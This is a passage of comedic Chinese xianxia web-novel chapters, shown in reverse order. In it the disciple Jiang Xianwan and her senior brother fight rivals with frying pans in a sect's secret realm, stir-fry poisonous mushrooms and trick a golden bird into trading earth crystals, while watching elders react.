江献晚手臂震得的发麻,揉了揉手腕,话不多说,凌空高抬腿,踹向楚微凝腹部。 不给两人从震惊,再到唾弃的心路历程转变。 楚微凝没能躲开,险些喷出一口老血。 她跌在一堆抖的格外荡漾的蘑菇堆上,狠狠抹了把脸,仿佛能将那些毒雾抹开似的。 捂着肚子,从蘑菇堆上跳起,“你妹的!痛死我了!” 至于使这么大牛劲吗? 江献晚无辜回道:“抱歉,我也没想到你这么不抗揍。” 楚微凝:“……”过分了啊。 “行啊,我倒要看看你多抗揍!” 江献晚认真想了想。 不得不说,太虚宗的弟子真是皮实。 但同她相比,楚微凝显然高估了自己的抗击打能力。 非要论抗揍的话…… 江献晚忍不住在心中可怜自己三秒。 花不休赤手空拳,除了脸不打,差点没把她揍死一万次! “那你试试。” “试试就逝世!” 楚微凝很快调整好最佳状态,一剑将一大片蘑菇,顺带着漫天毒雾,挥的远远的。 而后……朝着江献晚重新杀过去! 秦秦早已回神,反手一挑,剑尖轻点水面般,涟漪荡过一望无际的蘑菇。 剑气所到之处,蘑菇大军火急火燎的遁入土中,瑟瑟发抖。 这忙,不好帮。 会出菇命的。 林玉锦呵呵冷笑,目标明确,大锅直奔秦秦。 他在剑道方面不如秦秦,胜在皮糙肉厚又抗揍。 敢惦记他的小师妹,找打! 敢打他小师妹的蘑菇,更是找打! 林玉锦护起短来,将锅拎出了剑的架势。 眼看小师兄跟秦秦打的不可开交,江献晚专心对上楚微凝。 她有很丰富的打群架经验,干起仗来,出手稳狠准。 脚尖凌空轻点,以锅挡下楚微凝释放出的剑意,左手绞着灵力的一拳,砸向楚微凝腹部。 楚微凝觉得她专打人肚子的行为很狗。 更没想到的是,她竟真的用一口锅,正面接住自己一剑。 还有! 她的锅为什么这么重啊! 楚微凝腰身向后压下,躲开那能将她砸的再吐出一口血的一拳,后背几乎贴地,绝对不再吃第二次亏。 以掌虚虚撑地起身,神色认真起来。 “江师妹,我要认真了。” 江献晚有些诧异,“啊?你方才没认真吗?” 楚微凝:“……没。” “那行。”后者勾勾手指,双眼露出迫不及待的神色,“来,打死我。” 自从来到南境,她鲜少和大宗门的弟子交手,还不太确定自己现在的水平,到底在哪里。 虽然和秦秦打过,但……那次勉为其难不算。 楚微凝:“……” 她真的……好贱啊。 楚微凝手腕一折,淡绿色的剑光分散,数道剑芒朝江献晚倾轧而下。 “如你所愿!” 她这就打死她。 江献晚压身躲过,锅脱手用力甩出。 还不忘脱口反驳。 “你吹牛!” 第 30 章 我觉得用锅比较贱 “恭迎老佛爷!” 林玉锦反应很是迅速,一甩衣袖,单膝点地,恭迎江献晚。 随即,眼帘半垂,修长的手跟鸡爪似的,虚虚遮住半张面。 掐着娇嫩的嗓子,哭哭啼啼。 无不惹人怜惜。 “这带剑侍卫欲要调戏奴家,求老佛爷为奴家做主~” 江献晚:“……” 带剑侍卫:“……”我特么真想一剑捅死你! 听到头上传来破风声,那表情愈发荡漾的弟子下意识抬头,瞳孔猝缩。 只见一口恐怖的大铁锅……从天而降! “秘境里为何有锅?” 那弟子不可置信,喃喃自语,还有一种…… 终于可以死了的幸福感。 剑尖朝下,丝毫没有抵抗的意味,脸上更是带着解脱的幸福笑意。 “当——” 一声令人牙酸的巨响! 那弟子如愿以偿,晕过去前,咬牙切齿的吐出几个字:“狗玩意儿,你俩等出去了。” 面对他充满威胁性的话语,江献晚和林玉锦也就心虚一秒。 搜刮过他身上的玉牌,拍拍屁股离去。 林玉锦好奇的摸了摸江献晚脑袋上的那根羽毛,把得到的四块玉牌都塞给她。 “小师兄牛逼不?” “牛逼。”江献晚竖起大拇指,“不过,我比你牛逼一点,我有七十二分。” 地晶七十一块,加上之前她干翻的那个弟子。 林玉锦瞪大眼睛,晃她肩膀,“多少?” 你这么快就把所有人都杀了? 老大老二都杀了? 他下意识摸摸自己的脖子。 “小师妹,你算数是不是不太好?” 他明明还没死。 统共七十二个弟子,她把她自己也杀了? 江献晚:“……” 她有这么丧心病狂吗? 把亲师兄都干掉? “可能吧,那我现在要杀你了。” 林玉锦立刻将脖儿伸过去,一脸坚定,“为小师妹而死,小师兄死而无憾!” 江献晚作势掐他脖。 林玉锦怕痒,还没碰到他的痒痒肉,脖子一缩,喉间爆发一串“咯咯咯咯咯咯咯”。 “哈哈哈哈哈哈哈哈!” 江献晚看着扭成麻花的少年,不知被什么东西戳中了笑穴,脸没绷住,掐腰大笑起来。 “咯咯咯咯咯咯咯咯!” “哈哈哈哈哈哈哈哈!” “咯咯咯咯咯咯咯咯!” “啊哈哈哈哈哈哈哈!” 众长老:“……” 两人笑够了,平复下情绪,江献晚把方才烤蛋的事儿说了一遍。 林玉锦听的眼馋,手臂压上她的肩,跃跃欲试,“咱们继续掏鸟窝?” “没了,先去找大师兄和二师兄,咱们平分,拿个并列第一。” 长老们:“……”还能这么搞? 真损啊。 真特么损到家了。 两人一头扎进不平静的密林中。 同两波正在打的热火朝天的五个少年少女,撞个正着。 江献晚和林玉锦互相交换一个眼神。 林玉锦:弄死他们? 江献晚:必须滴! 她身上现在有七十六积分,就算不想打,别的弟子也会主动找上她。 两人整齐划一掏出一口锅。 见状,众长老再忍不住纷纷发出谴责。 “你好歹是剑尊,就没给他们找个合适的灵器?” 让俩孩子拎着锅到处跑? 他们本以为江献晚手不离锅,用炒菜锅打架,只是意外。 现在看来,这两个好像没有本命剑! 花不休懒倦的窝在美人榻上,眼皮子都懒得抬一下,丝毫不觉得可耻。 锅怎么了。 多好啊。 还省钱。 “他俩不配。” 众长老:……我呸!!! 秘境中,各种耀目光芒齐飞,打的热火朝天的两波人敏锐察觉有人到来,同时收手。 江献晚从林玉锦身后探出脑袋,率先打招呼,“各位,打着呢?” 秦秦翻腕收剑,面色不自觉缓和下几分,“晚晚师妹,恭喜。” 其他四个弟子先是古怪的瞅他一眼,纷纷拱手打招呼。 毕竟,对流落在破山头的小师妹,多了一分天然的怜悯。 不过,这点怜悯搁现在,显然有些不合时宜。 两名太音峰弟子和三名太灵峰弟子飞快递给对方一个眼神。 各峰弟子常来往,他们平日里本就关系亲密。 林玉锦和江献晚第一次回宗门,又是第一次进太虚宗秘境,还是有一丢丢下不去手的。 走吧,今日本就是弟子之间的交流比赛。 不走吧,三方混战,先打谁? 商量的结果,当然是…… 他们起合伙来,打林玉锦和江献晚! 她身上现在可是有七十六积分! 八成走了狗屎运,不知从哪找到稀罕的地晶。 敢打他们的脸,不打他俩打谁? 再说了,正好暴揍他俩一顿,权当做即将认祖归宗的贺礼! 两拨人瞬息毫无负担的用眼神达成同盟。 江献晚哪里看不出来他们的眼神交流。 她倒无所谓。 早晚都是打。 很痛快,微微一笑,“来?” 秦秦拧眉,一时之间犹豫不定,他身边的楚微凝倒是有些诧异。 但不得不说,江献晚爽快的性格很合她心意。 就是太狂妄了些。 扭头询问太音峰弟子,似笑非笑,“茵曼师姐?” 祝茵曼乃是太音峰大师姐,性格亦是豪爽,铿锵有力,迫不及待,“给她点颜色瞧瞧!” 林玉锦嗤笑反击,“咋滴,你们太虚宗是开染坊的?” 祝茵曼:“……”那也是你家太虚宗! 众长老:“……”兔崽子,你等着。 江献晚不语。 眼底却分明染着强盛的战意。 知晓江献晚性子,秦秦不再犹豫,温声道:“那便得罪了。” 楚微凝忙里抽闲,再次多瞅他两眼,“师兄,我还是第一次见你笑的这般……荡漾。” 秦秦:“……” 三方鼎立。 气氛陡然凝重。 林玉锦和江献晚同时拎起锅。 四人:“……?” 什么东西? 秦秦:“……” 江献晚扭头诧异道:“小师兄,你剑呢?” 他不是有本命剑,名‘梦浮生’。 长得那叫一个漂亮、高傲。 还是从花不休牙缝里抠出来的。 林玉锦一脸高深莫测,“我觉得用锅比较贱。” 他本来就不是主修剑的,不太喜欢用剑。 他老婆又很懒,喜欢睡觉,一喊就先来抽他屁股两下,才给摸。 林玉锦不想被当着这么多人面打屁股,尤其秦秦! 觉得方才小师妹那一砸,简直砸在了他的心巴上,打算跟个风。 江献晚:“……” 五人:“……” 第 29 章 蛋……碎了 它第一次当妈,孵蛋,确实没有经验。 莫非真的是它孵蛋的姿势不对? “你看哈。” 江献晚看出了它的疑惑,把蘑菇王脑袋上的铁锅取出来,将金蛋放进锅中。 “虽然你屁股很大,但是这颗蛋也不小,受热不均匀很容易影响破壳。” “当然,也有可能是你体温跟不上。” “毕竟,咱们女生,容易体寒。” 金鸣兽呆呆地看着她的一通操作,和头头是道的分析,显然进入状态:所以呢?该怎么做? 它想要孩子的心早已达到顶峰,竟信了江献晚的鬼话。 面对一双饱含着希冀和期待的目光,江献晚脸不红心不跳,正色道:“我觉得我们可以把它加热一下。” 加热? 怎么加热? 金鸣兽的思绪已经被完全牵着走了,看江献晚的眼神渐渐充满信任。 翅膀一抬:果真? 见它信八分,江献晚微微颔首,不急着加热,镇定地跟它谈判,“我帮你把它孵出来,你要怎么谢我?” 众长老:“……”你特么能干点正事吗? 还有,你想吃蛋就直接说! 还加热。 这四个小家伙到底过的是什么苦日子啊! 连金鸣兽的蛋都敢惦记! 只有花不休在默默吞咽口水,他手肘抵在桌案,一双狭长的眸子充满渴望。 喉结攒动,自言自语。 “元婴金鸣兽,十年下一颗蛋……蛋肯定很好吃。” 金鸣兽很单纯,想来还没遭受过太多社会毒打,不懂人心险恶。 在江献晚提出要求的时候,彻底放下怀疑,黄豆大的两颗眼珠子,写满认真:你想要什么报答? 江献晚理解的毫无障碍。 “你见过地晶吗?就是亮晶晶的,像冰晶一样的东西?” 金鸣兽瞅她一眼,默默伸出长喙扒拉开厚厚的草层。 不止长老,就连江献晚自个都懵了。 好大一坨狗屎运! 花不休唇角一侧轻勾,眼底漾出一丝潋滟的笑意。 孽徒一出手,就知有没有。 他那一屁股的账,今日算是有救了。 江献晚看着一堆地晶,被雷的里焦外嫩。 据她所知,金鸣兽喜欢亮晶晶的东西。 她就是随口一问。 谁成想还真的有! 这得有好几十块了吧? 这波稳了! 不过,虱子多了不嫌痒。 保险起见,江献晚蹬鼻子上脸,往上爬。 “其他地方还有吗?” 金鸣兽是土生土长的兽,绝对对整个秘境了如指掌。 说到这个,金鸣兽骄傲的挺起胸脯:都在我这里! 它牺牲十几根毛,干翻两头熊,将它们收为小弟。 两头熊掉头暴揍很多弱小的兽兽,带领它们把秘境挖穿,才上缴这么一小堆。 见她火辣辣的盯着自己辛苦得来的漂亮石头,虽然心在滴血,但想要孩子的心还是超越了一切。 翅膀一遮。 分明是说:想要,就帮我孵蛋。 “您瞧好了!”江献晚二话不说,直接掏出十几张加热符贴在蛋上,手一挥,“交给我!来,我们这样加热!” 金鸣兽挪动屁股,凑近认真看:会不会太热了? 它翅膀都焦了。 这两脚兽不会骗它吧? 不过,她应当不敢。 它这么大这么猛的一只兽兽呢! “那不能够!”江献晚为自己证明,看起来有十足的把握,“相信我,这温度绝对没问题。” 她方才拿板砖敲过,没能破开一丝痕迹。 可想而知,金鸣兽的蛋一定很皮实。 退一万步讲,蛋要是真熟了…… 加个餐也行。 在一人一鸟,两双眼睛的注视下,只见金蛋眨眼间红温。 就当观看的众长老以为,蛋是不是熟了,江献晚要完了的时候。 ‘咔嚓——’ 一声。 蛋……碎了。 一团毛绒绒的金鸣兽,急不可耐,狗咬腚似的,叽叽直叫,冲天而起。 那速度,那叫声。 听起来开心的不得了! 没能吃到蛋,江献晚还是有点小失望的,摊开双手,“看吧,我没骗你。” 你孩子就是懒。 想啃老,不想出来。 金鸣兽哪里知道自个被孩子坑了,登时仰脖发出嘹亮而兴奋的啼鸣。 啄下屁股上那根最长最漂亮的羽毛,往江献晚怀里一扔。 追孩子去了! 江献晚随手将尾巴毛插在发间,蹲在窝里,一块一块数地晶。 众长老看着坠着数字‘一’的名字一跃冲至榜首,金光闪闪的七十二,只觉得眼都要瞎了。 统共七十二位弟子,江献晚进去不到半日,就得到七十二分! 更绝的是,为什么偏偏是七十二? 这运气,莫不是……天道的亲闺女吧? 众长老半是狂喜,半是一言难尽。 可恶,他们和凤仪的赌约! 不过。 “这才哪到哪,她也要守的住才行。” 花不休垂眼抚弄葱嫩的指尖,深藏功与名。 小混蛋守不住? 开玩笑! 她不去抢别人的就是好的了! 因为秦秦没讲这个,对此,江献晚不知道这是直播。 探出鸟窝边缘,便看到林玉锦还在乐此不疲,单方面碾压那个可怜的弟子。 他拎着一个鼓囊囊的麻袋,随手一抓就是几十张。 像是往人间播下智慧的种子,撒出天女散花的气势。 那弟子抓了林玉锦半天,奈何对手跟泥鳅似的,滑不溜秋,不正面跟他打,早就气的跳脚。 林玉锦的符箓层出不穷,还特么是一麻袋一麻袋的! 饶是那弟子以剑气阻挡,护的密不透风,顺手反丟回来几张符纸,还是被绝对的数量碾压。 看到这里,不得不提一提。 几天前林玉锦放了一天的屁,苍白着脸顺走她和二师兄几麻袋符纸。 美其名曰:精神损失费。 她跟白子夜差点被他掏空! 林玉锦花起自己的精神损失费,一点不带心疼的。 “放屁符!” “磨牙打呼符!” “抓耳挠腮符!” “扶墙而出符!” “彻夜不眠符!” “春~心~荡~漾~符~” 漫天符纸纷飞,一张符纸正中眉心。 那弟子的面颊以一种极快的速度充红,骂骂咧咧声紧跟着掺杂一丝游丝般的春意。 逐渐喘成波浪的声线,听的人热血沸腾。 “你他娘的对我做了……呃……什么?” 江献晚:“……” 小师兄,你纯恨么? 他罪不至此啊! 眼看那弟子双眼脉脉含情,控制不住朝林玉锦抛出一个媚眼,去摸自己的胸口,江献晚恶寒的哆嗦一下。 默默掏出大铁锅,决定送绝望的他,走的痛快些。 襟飘带舞,纵身一跃。 “老佛爷驾到!” 第 28 章 孵蛋的姿势不对 江献晚不知道众长老默默将她划进同花不休一样的危险人物,心满意足,继续前行。 一边走,一边扫荡。 所到之处,蝗虫过境,寸草不生。 毒药灵药,一股脑全塞芥子囊。 “这个给大师兄。” “这个给二师兄。” “这个给小师兄。” “这个……” 连根拔起一株巨大无比,浑身毒刺,还在往外吐绿色毒汁的毒藤,若有所思。 “这个给花花吧,放在床边,围一圈。” 毒藤生长能力强悍,爬满整个房间,手拿把掐。 花不休有福了。 花不休:“……” 什么叫放在我床边! 还围一圈! 怕为师死的慢吗! 同样土匪又疯癫的,还有其他三个少年。 难得进这么好这么大的秘境,幸福的泪水从嘴角流出来。 就连苏清流都顶着一张云淡风轻的脸,悠闲的揭地皮。 看到什么好东西,使劲往芥子囊里塞,早就把抢玉牌的事抛在脑后。 都觉得其他三人肯定会抢玉牌,搜刮的毫无负担。 林玉锦喜滋滋地刨出一片四阶美颜草,就被一头金丹巅峰期的凶兽顶飞十几米。 他早已在花不休和师兄妹整日的暴揍下,皮糙肉厚。 刷地就地一滚,单膝及地,摆了个帅气的姿势。 而后……拔腿就跑。 林玉锦将‘浮光掠影’身法运用到极致。 远远望见三人小队伍,想也不想,果断热情似火的扑过去。 “嗨!秘境里的朋友,你们好啊!终于见到活人了!好开心!” 三个弟子:“……?” 难不成他们还能是死的? 三个弟子同样很开心。 只不过,当他们眼放精光迎上,堪堪露出的笑容还没来得及扯开,在看到他身后穷追不舍,呲牙咧嘴的凶兽。 其中一个弟子首先反应过来,发出一声凄惨暴喝,“快跑!是炎火兽!” 炎炎兽皮糙肉厚,刀枪不入,心眼又小。 尤其是它那一条粗壮的秃尾巴,能抽爆金丹修士的脑袋! 孙子! 太缺德了! 就说他刚才那么贱! 当即没了夺他玉牌的心思。 林玉锦不乐意了。 他好不容易碰到三个背锅的,哪里肯让他们跑。 两指夹起一张疾风符,配合浮光掠影身法,嗖地一下越过三人,留下一抹残影。 三人:“……” 什么东西过去了? 我擦~ 不是,兄弟,你也太快了吧! 同样用了疾风符,三个弟子却被远远甩出一大截。 一边唾弃,一边狂奔。 炎火兽浑身燃烧着熊熊火焰,怒吼声振聋发聩,紧追不舍。 林玉锦早就跑的没影,飞身一跃,落在三人合抱的大树上。 拨开繁茂的枝叶,拿手遮在眼帘上举目眺望,时不时啧啧两声。 那里,三个弟子被炎火兽一尾巴抽了个狗吃屎,连滚几圈。 林玉锦哈哈大笑,双指并拢,使出扩音功能的咒语,大声而极富有感情的诚恳称赞。 “哇偶~火燎腚,又热又凉快。” “啧啧,可以遁入佛门了,省得洗头发。” “哟!这个可以,没有跟他俩似的,一个顾头,一个顾腚。” “就是脸红的样子,真特么……可爱。” 三个弟子:你特么的。 那是脸红吗?! 明明是烧红的! 动静逐渐平息,三个弟子战退炎火兽,各个衣衫破烂,顶着被火熏的乌漆麻黑的脸,趴在原地,喘气如牛。 林玉锦脚尖轻点,不紧不慢掏出一张疾风符,嗖地一下,重新跑了回来。 好心提醒: “这里不让停人!” 三个弟子:“……” 瞅瞅,他说的是人话吗? 是他们想停的吗? 再说,谁规定这里不能停人了! “卑鄙!” "无耻!" “下流!” 对于这种诚心实意的赞赏,林玉锦很是欢快的就接受了,“你们看出来了?” “多谢夸奖!” 做的狗中狗,方为人上人。 他要让他们知道,他比他们太虚宗还不要脸! 其中一弟子气的张嘴啃了一口土,没见过这么纯的傻子,呸的一声,发出更加真诚的称赞。 “大傻逼!” “爷爷在此!” 林玉锦嘿嘿一笑,一张爆炸符甩出去。 “那我一个傻逼也能顶你们三个傻逼。” 三个弟子不服,强撑着爬起来,一个掐诀撑阵,两个从侧面攻击。 林玉锦嗖地躲开,爆炸符一击落空,毫不气馁。 唇角轻勾,露出一抹意味不明的笑意。 而后,慢吞吞摸出一沓爆炸符。 得意一晃。 三个弟子:“……” 他娘的! 这败家玩意到底有多少爆炸符啊!!! 隔壁山头不是很穷吗?! 爆炸符很贵的! 他们也只不过有十几张而已! 家底颇丰的林玉锦完全碾压对方,用魔法打败魔法,耗尽他们的爆炸符。 一口气炸晕三个弟子,春风得意。 螳螂捕蝉黄雀在后,他刚拿到三枚玉牌,背后一道剑芒直射而来。 林玉锦微微偏头,挑眉看去,“得,又来一傻逼。” 蹲在鸟窝里,抱着一颗金蛋,正和金鸣兽大眼瞪小眼的江献晚,望着林玉锦一边贱嗖嗖窜来窜去,时不时扔出两张符纸搞偷袭,哑口无言。 小师兄的能力可想而知,绝对不会有事。 现在……有事的是她。 江献晚仰起脸,无辜地眨眨眼,“我说,我是来替你孵蛋的……你信吗?” 她远远看见树上有金光闪闪的东西,毫不犹豫爬了上来。 锅还没掏,觅食回来的金鸣兽就把她堵窝里了。 面对这个睁眼说瞎话的无耻少女,金鸣兽气的翅膀直哆嗦:你猜我信不信?! 狡猾的两脚兽,分明是想偷它的蛋! 江献晚看懂了。 “……我猜你信。” 它信个屁! 金鸣兽拿屁股往窝里一蹲,堵严她逃跑的路,两个翅膀一顿激动的连比带划。 成啊,你孵一个我看看! 顺便告诉你,这个蛋老娘孵了一年都没动静! 江献晚看它翅膀都快挥冒烟,诧异挑眉,“你是说你孵不出来?” 金鸣兽愣了愣,又拿翅膀比划一下。 江献晚震惊的指着蛋,“你孵了一年?” 它生的是哪吒吗? 闻言,方才还气的翎羽炸毛的金鸣兽,垂头丧气的点点头。 可不是吗! 它腚都肿了! 江献晚低头研究了一把蛋。 不应该啊,蛋壳里的小东西生命力强的可怕。 心脏一跳一跳,很是欢快。 莫非是不想出来? 江献晚觉得很有这种可能。 抬起手敲敲蛋壳,认真地道:“有没有一种可能,是你孵蛋的姿势不对?” 金鸣兽又是一愣:姿势不对?那该怎么孵? 第 27 章 精神状态美丽 蘑菇王吓得一哆嗦,撕心裂肺:护驾!护驾!护驾啊! 江献晚热情似火,飞扑过去:“大王!我来了!” ‘嗖!’ 江献晚扑了个空。 “唉?我蘑菇呢?” 她茫然的站在原地,望着凭空消失的蘑菇大军,再低头瞅地上的坑。 啧~ 小东西。 不会以为藏在地下,她就拔不出来了吧? 看不起谁呢! 江献晚唇角浮出一抹志在必得的邪恶笑意。 锅一扔,掏出两把铁锹,左手加右手,目光落在那个最大的蘑菇洞。 “找到你了。” “惊不惊喜!” “意不意外!” 呸! 意外个屁! 它出意外还差不多! 蘑菇王吓的快要昏过去。 “撤!” “撤!” “快撤啊!” “她要炒我!” 然而,它被众蘑菇保护在最中央。 蘑菇挨蘑菇,数量之多,越挤越乱,不仅移动不了分毫,还出现严重的踩踏事件。 江献晚站在并不平静的地面,悠然的欣赏着它们垂死挣扎。 忽然妩媚一笑,“知道我这两把铁铲叫什么吗?” 蘑菇王:……叫什么? 江献晚举起一把,“这把铲铲叫初一。” 蘑菇大军:另一把呢? 江献晚再举起另一把,“这把叫十五。” 当然,胡诌的。 蘑菇王:你跟我说这些干什么?我管它们叫什么!有种先特么停下来再说! “就是说,你躲得了初一,也躲不过十五!” 说罢,两把铁铲刨出残影。 蘑菇王:啊啊啊啊啊!她威胁我! 江献晚丝毫不觉得可耻,发出真诚的呼唤,“大宝贝,我带你回家!” 蘑菇王:还特么带我回家?你看我信吗?!确定不是送我去死! 潋浮台凉亭,凝望着这一幕的两个男子,陷入长久沉默。 南帝尊甚至慢吞吞的揉了一下眼睛。 帝隐紧紧绞着少女脸颊那块颇壮观的红霞,神色恍惚,眼底光泽一阵晃动。 时隔三载,她瘦了,腰肢愈发纤细。 容貌也长开。 故意涂抹的胎记,都遮掩不住,滟若桃花,灼的人眼睛生烫。 比同他在一起时活泼,更耀眼。 帝隐却没有陌生的感觉,只是…… 没想到。 她不叫江早早。 而是……江献晚。 晚晚。 他阖了阖眸,指节缓缓蜷起,欢喜过后,竟生出一种从来未有过的酸涩。 桌案被一抹灵力压制的长剑,嗡鸣不止,亦是在委屈。 云为泽听到她两把铁楸的名字,觑了一眼散发着幽怨气息,几乎快要抖碎的长剑,喉间遏制不住溢出愉悦的轻笑。 终于很中肯的说出今天的第一句话。 “不错,精神状态有点美丽。” 帝隐,原来,喜欢这种性格的? 倒是颇有缘分,没想到找来找去,就在跟前。 拜在凤仪座下,成了他们太虚宗弟子。 云为泽双眼含笑,屈起一条长腿,看的津津有味。 帝隐抿了抿唇瓣,清冷的声线带着微不可察的委屈,“骗子。” 哪里是早早? 云为泽:“……?” 这边,江献晚生生刨出一个两米的深坑,成功将蘑菇王刨出来。 撸起袖子,努力往锅里塞。 一边塞,一边忧愁。 “菇之大,一锅装不下。” “早知道就该买个更大点的锅。” 甚至又掏出一口锅,往它脑袋上扣。 “要不然切成碎片?我还等着抢玉牌赚钱养家糊口,这不耽误事儿吗?” 切成碎片? 蘑菇王早就吓疯了。 尤其蘑菇大军尽职尽责,开始哭丧。 期期艾艾,响彻脑袋。 哭什么! 它还没死呢! 哭哭哭! 就知道哭! 福气都被它们哭没了! 蘑菇王被两个锅上下罩着,遁不走,跳不出。 见她自顾自的掏出一沓符纸,吓得直哆嗦。 别加了别加了! 真的别加了! 你炒了我,只能吃一顿,要是留着我,我能给你生一堆! 极度恐惧中,蘑菇王吓的噗噗生出一堆蘑菇,直接顶开头顶的锅盖。 “咦?”江献晚下意识将火熄灭,“原来是个妹子?” 蘑菇王:…… “那你能生出你这么大的吗?” 蘑菇王:……能! 不能也得能! 它不想死! 还是被炒死! 江献晚看着一地掉落的小蘑菇,不信,要它当场证明,“那你现在给我生一个。” 蘑菇王:你当这是拉屎呢!好歹给个酝酿的时间啊! 还有,谁家孩子生出来,能有它这大个! 疯娘们不仅想吃它英勇神武的蘑菇王,还想吃它未出生的蘑菇太女! 同样是妹子,她可太冒昧辣! 对上江献晚凉飕飕地目光,蘑菇王还是弯下挺了半辈子的腰,不得不屈于淫威。 剧烈摇晃着弱小无助的自己,跟她商量:给个时间酝酿酝酿,要不你先抢玉牌,我慢慢给你生? 诡异地,江献晚看懂了。 犹豫片刻,一点头,“行吧。” 连锅带蘑菇王,麻溜收进芥子囊。 剩下的蘑菇大军懵了。 眼看着江献晚挟持它们蘑菇王,飘飘然离开,紧急商量了一下,狗狗祟祟开始打洞,跟上。 众长老更懵。 各个那叫一个安静如鸡。 这俩货是怎么无障碍交流的? 江献晚走了没多远,就碰上一位内门弟子。 江献晚停下,地下悄咪咪鼓涌的蘑菇大军跟着停下。 两双视线在半空中交汇,火花四溅。 那少年反手拔剑,“得罪!” 江献晚手微抬,“得罪!” “铮!” 寒芒曳过,少年一剑凌空劈落。 与此同时,江献晚不疾不徐将手一挥。 “小的们,不想大蘑菇死,就给我上!” 众蘑菇:要脸吗?就让它们上? 意外来的就是这么猝不及防。 那弟子刚劈出一道绚丽的寒芒,还没反应过来,整个人瞬间被凭空冒出的,数不尽的蘑菇潮淹没。 秘境危险重重,他虽提前吃过解毒丹,也挡不住这么多的蘑菇大军,和铺天盖地的毒雾。 电光火石之间,只见那位弟子已经骑在蘑菇上,目光涣散,一脸荡漾的抱着蘑菇流口水。 江献晚穿过众蘑菇,摁着他摸出一枚玉牌。 望着被传送出来,还在地上鼓涌的弟子,众长老再次陷入沉思。 太虚宗的未来……为何忽然有些看不见? 让他们回来……会不会是一个……很错误的选择? 第 26 章 炒蘑菇 江献晚对秘境外发生的事一无所知。 她蹲在树下,望着周围一望无际的蘑菇大军,陷入沉默。 不愧是南境第一大宗门的专属秘境,连蘑菇都长得如此清奇。 红伞伞,白杆杆,吃完一起躺板板。 首先,秘境禁止飞行。 其次,蘑菇有毒,致幻。 最后,她要想办法从这一片海洋般辽阔的蘑菇大军中穿过去。 离开倒不难,江献晚暂时不着急。 好奇的戳了戳蘑菇脑袋,询问,“喷的不累吗?要不要歇歇?” 蘑菇:“……”你人还怪好的。 它还从来没见过这么傻的修士,不堵鼻子嘴巴,还敢拿手戳它。 被戳的蘑菇,觉得自己受到了严重的侮辱。 气愤下,召唤兄弟姐妹、七大姑八大姨,众蘑菇齐齐发力,喷出遮天蔽日的烟雾。 雾气翻滚,眨眼间充塞天地般,视线受到严重阻碍。 江献晚感觉自己此刻仙气飘飘,自带烟雾特效。 一边疯狂咳嗽,一边从芥子囊中掏啊掏。 她掏出一坨巨大无比的丹药,抠下一点,在指尖团吧团吧,慢吞吞地往最近的蘑菇嘴里一塞。 塞罢,还煞有其事的捣了捣。 被打断施法的蘑菇:“……?!” 她为什么还没中毒啊! 她在做什么啊! 她有病吧! 接下来,距离江献晚近的蘑菇大军,惊悚的看到,她像是发现什么有趣的事情,抱着一大坨黑乎乎的东西,开始往周围的蘑菇嘴里狂塞。 众蘑菇:…… 哕! 好臭! 她塞的是屎吗! 不讲武德! 江献晚塞的不亦乐乎,低低的笑声,更是如魔鬼一般。 “告诉我,你们喜欢清蒸,水煮,爆炒,煎炸,还是刺身?” 蘑菇:……? 她搁这念菜谱呢! 蘑菇大军怒。 纷纷摇晃着巨大的蘑菇头,再次不约而同,朝她喷出滚滚如浪潮般的浓郁毒雾。 江献晚微眯起眸子,托着下巴望着一片荡漾无比的蘑菇,若有所思。 都不喜欢? 还是都喜欢? 这么激动? “要不,都试试?” 这些蘑菇各个长得那叫一个水灵,比她家的盆都大,看的人胃口大开。 经过高温烹煮,再以丹药祛除毒性,吃起来一定很美味。 说不定还能研究出什么新品种的丹药。 再说,就算不能吃,她可以存下来给花不休吃啊! 说干就干,江献晚从芥子囊中掏出一口巨大无比的铁锅,往地上一放。 在众蘑菇目光睽睽之下,两手抓上一朵大蘑菇的胖杆杆。 而后,用力一薅! 其风姿,可谓是气拔山兮力盖世! 别说那朵被她硬生生从地里拔出的蘑菇,周围一片更是齐刷刷呆若木鸡。 大馋丫头,使不完的牛劲! 眼看江献晚凭空取出一张符纸,轻弹间,燃起一团凶悍的火焰,准备爆炒蘑菇,锅里的大蘑菇登时吓的抖成波浪。 干什么? 她这是要干什么啊! 救命啊! 有人炒蘑菇了! “她为什么没中毒?” “她为什么要带一口锅?” “不是,她什么意思?” “啊!我的屁股好热!” “她真的要炒蘑菇了啊喂!” “救救我!救救我!” 半山腰,凉亭中十几位长老,早就在江献晚拿出一坨乌漆麻黑的东西,往蘑菇嘴里塞的那一刻,目光狰狞的看过来。 更是被她接下来的举动惊的目瞪口呆,眼皮抽搐。 花不休默默举袖遮面。 好一个丢脸的孽徒。 江献晚平时看上去很是无害,实际上,路子是最野最疯的那一个。 自打她来到破山头,苏清流会笑了,白子夜不忧郁了,林玉锦更是放飞天性。 在她的窜梭下,苏清流他们三个,日日都敢来跟他梗脖子。 他被送到太虚宗,肯定就是这小混蛋打的头! 众长老纷纷下意识放下手里的茶杯,死死盯着还在努力采蘑菇的小姑娘,一致露出同情的神色。 不抢玉牌,搁这采蘑菇? 得多穷啊! 跟着凤仪剑尊这个不省心的,连蘑菇都捡。 众位长老心疼的不得了,看花不休的目光不由带着十二分谴责。 不过。 这片毒蘑菇虽修为低弱,致幻的毒素和可随意移动,这两点,极为难缠,又是一望无际浩浩荡荡的一片。 倒霉的弟子被盯上,那是一淘汰一个准。 她没吃丹药,更没丝毫中毒的现象。 “江献晚,莫非百毒不侵?” 还真被他们猜对了,江献晚的确百毒不侵。 这一点,她也不知道为什么。 可能……因为琉璃玉骨? 几只蘑菇烫的在锅里疯狂蹦跶,群菇乱舞,然而江献晚的锅太大了,根本跳不出去。 眼看它们蹦的欢快,摁都摁不住。 江献晚随手掏出锅盖,往上一盖,拎起大铁勺当地一敲,“安静!” “……” 这一声巨响,不亚于一道惊雷,几朵蘑菇齐刷刷地昏死过去。 正瑟瑟发抖,惊悚观望的众蘑菇懵了。 下一刻……拔腿就跑! 一时间忘记自己可以缩进地下。 江献晚:“……” 蘑菇会跑? 这么厉害? 她诧异地望着眨眼间腾出的一大片空地,思索三秒,拎起锅就追。 会跑的蘑菇,绝对好吃! 蘑菇大军:…… 离的远的蘑菇,还不知道发生了什么。 只看到远处的蘑菇们,像是突然抽风似的,疯狂挤着跳着,热情的四下奔跑着。 后面一女的,拖着底部燃着熊熊大火的铁锅,唇角挂着一丝兴奋的笑意,疯狂撒丫子……朝着它们奔跑而来! 一边跑,一边薅,时不时再颠个勺。 蘑菇大军:…… 妈呀! 有人炒蘑菇了! 退!退!退! 快退啊! 江献晚此刻就像掉进米缸里的老鼠。 